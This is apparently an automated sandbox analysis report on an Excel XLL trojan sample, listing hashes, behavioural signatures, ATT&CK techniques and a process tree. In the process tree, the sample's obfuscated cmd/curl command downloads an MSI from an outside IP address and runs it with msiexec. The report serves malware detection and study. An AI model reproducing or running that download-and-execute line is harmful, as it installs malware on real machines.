0b4b8adcb43dfcca9235052fce94be1a25ff61011309ceb361803b5bf2a1b74a

General

Target

SecuriteInfo.com.Trojan.Win64.Alien.bzz.28466.xll
Size

12KB
MD5

fdef986e4d89dd1b6038efeaa6f2005c
SHA1

799ec2ec05605ce2c76ab64e70962392331e2de5
SHA256

0b4b8adcb43dfcca9235052fce94be1a25ff61011309ceb361803b5bf2a1b74a
SHA512

69f3ff7b34ce1916d37e42bd98edf35ea6799d7c56f7594c8d698baa4ca1c1d7c7355b8a7ae94c93bb9599ced664c29e5c65e827b6a5713107de1635e974201e
SSDEEP

192:uU5z9iLjq2pJk+/qcJklyJOEdqLsWGQwrgAh:3z9AbJH/IwJOsl/QwrgC

Score

10^/10

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	1268	2740	cmd.exe	52

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3027552071-446050021-1254071215-1000\Control Panel\International\Geo\Nation	cmd.exe

Loads dropped DLL 2 IoCs

pid	Process
2740	EXCEL.EXE
2740	EXCEL.EXE

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
876	timeout.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3027552071-446050021-1254071215-1000_Classes\Local Settings	cmd.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2740	EXCEL.EXE

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeShutdownPrivilege	3240	msiexec.exe
Token: SeIncreaseQuotaPrivilege	3240	msiexec.exe

Suspicious use of FindShellTrayWindow 4 IoCs

pid	Process
2740	EXCEL.EXE
2740	EXCEL.EXE
3240	msiexec.exe
3240	msiexec.exe

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
2740	EXCEL.EXE
2740	EXCEL.EXE
2740	EXCEL.EXE
2740	EXCEL.EXE
2740	EXCEL.EXE
2740	EXCEL.EXE
2740	EXCEL.EXE
2740	EXCEL.EXE
2740	EXCEL.EXE
2740	EXCEL.EXE
2740	EXCEL.EXE
2740	EXCEL.EXE

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2740 wrote to memory of 1268	2740	EXCEL.EXE	86
PID 2740 wrote to memory of 1268	2740	EXCEL.EXE	86
PID 1268 wrote to memory of 2604	1268	cmd.exe	88
PID 1268 wrote to memory of 2604	1268	cmd.exe	88
PID 1268 wrote to memory of 876	1268	cmd.exe	89
PID 1268 wrote to memory of 876	1268	cmd.exe	89
PID 1268 wrote to memory of 3240	1268	cmd.exe	98
PID 1268 wrote to memory of 3240	1268	cmd.exe	98

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Trojan.Win64.Alien.bzz.28466.xll"
1⤵
- Loads dropped DLL
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2740
- \??\c:\windows\system32\cmd.exe
  c:\windows\system32\cmd.exe /c c^url -o c:\users\public\1.msi http://51.195.49.233/dGp9oe/rAoeU0&&timeout 10&&c:\users\public\1.msi
  2⤵
  - Process spawned unexpected child process
  - Checks computer location settings
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:1268
- - C:\Windows\system32\curl.exe
    curl -o c:\users\public\1.msi http://51.195.49.233/dGp9oe/rAoeU0
    3⤵
    PID:2604
- - C:\Windows\system32\timeout.exe
    timeout 10
    3⤵
    - Delays execution with timeout.exe
    PID:876
- - C:\Windows\System32\msiexec.exe
    "C:\Windows\System32\msiexec.exe" /i "C:\users\public\1.msi"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    PID:3240

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

3

T1012

System Information Discovery

4

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Trojan.Win64.Alien.bzz.28466.xll

Filesize
12KB

MD5
fdef986e4d89dd1b6038efeaa6f2005c

SHA1
799ec2ec05605ce2c76ab64e70962392331e2de5

SHA256
0b4b8adcb43dfcca9235052fce94be1a25ff61011309ceb361803b5bf2a1b74a

SHA512
69f3ff7b34ce1916d37e42bd98edf35ea6799d7c56f7594c8d698baa4ca1c1d7c7355b8a7ae94c93bb9599ced664c29e5c65e827b6a5713107de1635e974201e

Download Submit
C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Trojan.Win64.Alien.bzz.28466.xll

Filesize
12KB

MD5
fdef986e4d89dd1b6038efeaa6f2005c

SHA1
799ec2ec05605ce2c76ab64e70962392331e2de5

SHA256
0b4b8adcb43dfcca9235052fce94be1a25ff61011309ceb361803b5bf2a1b74a

SHA512
69f3ff7b34ce1916d37e42bd98edf35ea6799d7c56f7594c8d698baa4ca1c1d7c7355b8a7ae94c93bb9599ced664c29e5c65e827b6a5713107de1635e974201e

Download Submit
memory/2740-16-0x00007FFAB7D70000-0x00007FFAB7F65000-memory.dmp

Filesize
2.0MB

Download
memory/2740-19-0x00007FFAB7D70000-0x00007FFAB7F65000-memory.dmp

Filesize
2.0MB

Download
memory/2740-2-0x00007FFA77DF0000-0x00007FFA77E00000-memory.dmp

Filesize
64KB

Download
memory/2740-6-0x00007FFAB7D70000-0x00007FFAB7F65000-memory.dmp

Filesize
2.0MB

Download
memory/2740-5-0x00007FFA77DF0000-0x00007FFA77E00000-memory.dmp

Filesize
64KB

Download
memory/2740-7-0x00007FFAB7D70000-0x00007FFAB7F65000-memory.dmp

Filesize
2.0MB

Download
memory/2740-9-0x00007FFAB7D70000-0x00007FFAB7F65000-memory.dmp

Filesize
2.0MB

Download
memory/2740-8-0x00007FFA77DF0000-0x00007FFA77E00000-memory.dmp

Filesize
64KB

Download
memory/2740-10-0x00007FFAB7D70000-0x00007FFAB7F65000-memory.dmp

Filesize
2.0MB

Download
memory/2740-11-0x00007FFAB7D70000-0x00007FFAB7F65000-memory.dmp

Filesize
2.0MB

Download
memory/2740-12-0x00007FFA75B40000-0x00007FFA75B50000-memory.dmp

Filesize
64KB

Download
memory/2740-13-0x00007FFAB7D70000-0x00007FFAB7F65000-memory.dmp

Filesize
2.0MB

Download
memory/2740-14-0x00007FFAB7D70000-0x00007FFAB7F65000-memory.dmp

Filesize
2.0MB

Download
memory/2740-15-0x00007FFAB7D70000-0x00007FFAB7F65000-memory.dmp

Filesize
2.0MB

Download
memory/2740-0-0x00007FFA77DF0000-0x00007FFA77E00000-memory.dmp

Filesize
64KB

Download
memory/2740-17-0x00007FFAB7D70000-0x00007FFAB7F65000-memory.dmp

Filesize
2.0MB

Download
memory/2740-4-0x00007FFAB7D70000-0x00007FFAB7F65000-memory.dmp

Filesize
2.0MB

Download
memory/2740-21-0x00007FFAB7D70000-0x00007FFAB7F65000-memory.dmp

Filesize
2.0MB

Download
memory/2740-18-0x00007FFAB7D70000-0x00007FFAB7F65000-memory.dmp

Filesize
2.0MB

Download
memory/2740-20-0x00007FFA75B40000-0x00007FFA75B50000-memory.dmp

Filesize
64KB

Download
memory/2740-3-0x00007FFA77DF0000-0x00007FFA77E00000-memory.dmp

Filesize
64KB

Download
memory/2740-1-0x00007FFAB7D70000-0x00007FFAB7F65000-memory.dmp

Filesize
2.0MB

Download
memory/2740-25-0x00007FFAB7D70000-0x00007FFAB7F65000-memory.dmp

Filesize
2.0MB

Download
memory/2740-26-0x00007FFAB7D70000-0x00007FFAB7F65000-memory.dmp

Filesize
2.0MB

Download
memory/2740-27-0x00007FFAB7D70000-0x00007FFAB7F65000-memory.dmp

Filesize
2.0MB

Download
memory/2740-44-0x00007FFA77DF0000-0x00007FFA77E00000-memory.dmp

Filesize
64KB

Download
memory/2740-45-0x00007FFA77DF0000-0x00007FFA77E00000-memory.dmp

Filesize
64KB

Download
memory/2740-46-0x00007FFA77DF0000-0x00007FFA77E00000-memory.dmp

Filesize
64KB

Download
memory/2740-47-0x00007FFAB7D70000-0x00007FFAB7F65000-memory.dmp

Filesize
2.0MB

Download
memory/2740-48-0x00007FFA77DF0000-0x00007FFA77E00000-memory.dmp

Filesize
64KB

Download
memory/2740-50-0x00007FFAB7D70000-0x00007FFAB7F65000-memory.dmp

Filesize
2.0MB

Download
memory/2740-49-0x00007FFAB7D70000-0x00007FFAB7F65000-memory.dmp

Filesize
2.0MB

Download
memory/2740-51-0x00007FFAB7D70000-0x00007FFAB7F65000-memory.dmp

Filesize
2.0MB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads